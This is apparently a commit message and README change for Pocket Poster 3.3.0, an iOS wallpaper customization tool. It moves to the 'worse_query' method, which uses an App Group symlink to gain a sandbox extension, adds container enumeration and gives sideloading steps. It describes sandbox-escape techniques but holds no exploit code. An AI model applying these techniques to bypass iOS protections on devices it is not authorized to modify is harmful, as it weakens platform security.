Pocket Poster 3.3.0: worse_query port for iOS 26-27.2

- Replace bad_query with forcequitOS/worse_query (App Group based)
- Read the App Group from the code signature entitlements
- Add pathleak container enumeration and iOS 27 system container lookup
- Route descriptor/CarPlay writes through worse_query
- Add sign_personal.sh and POCKET_POSTER_SELFTEST diagnostics
- Keep bad_query as an iOS 26 fallback

+### iOS 26 / 27.2 (worse_query)
+On versions where [worse_query][worseQueryGitHub] works (iOS 26.0–26.7.2 and 27.0–27.2.x), **no computer is required**. The app must be signed with a provisioning profile that contains an **App Group** — worse_query uses that container to place its symlink and obtain the sandbox extension. Signed IPAs produced with the included `sign_personal.sh` already carry the profile's App Groups.
+
+1. Install the IPA (sideload with your signer of choice; the profile needs an App Group).
 2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
 3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
 
-**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way.
+If no App Group entitlement is present the app reports it explicitly; on iOS 26 the legacy bad_query route is used as a fallback.
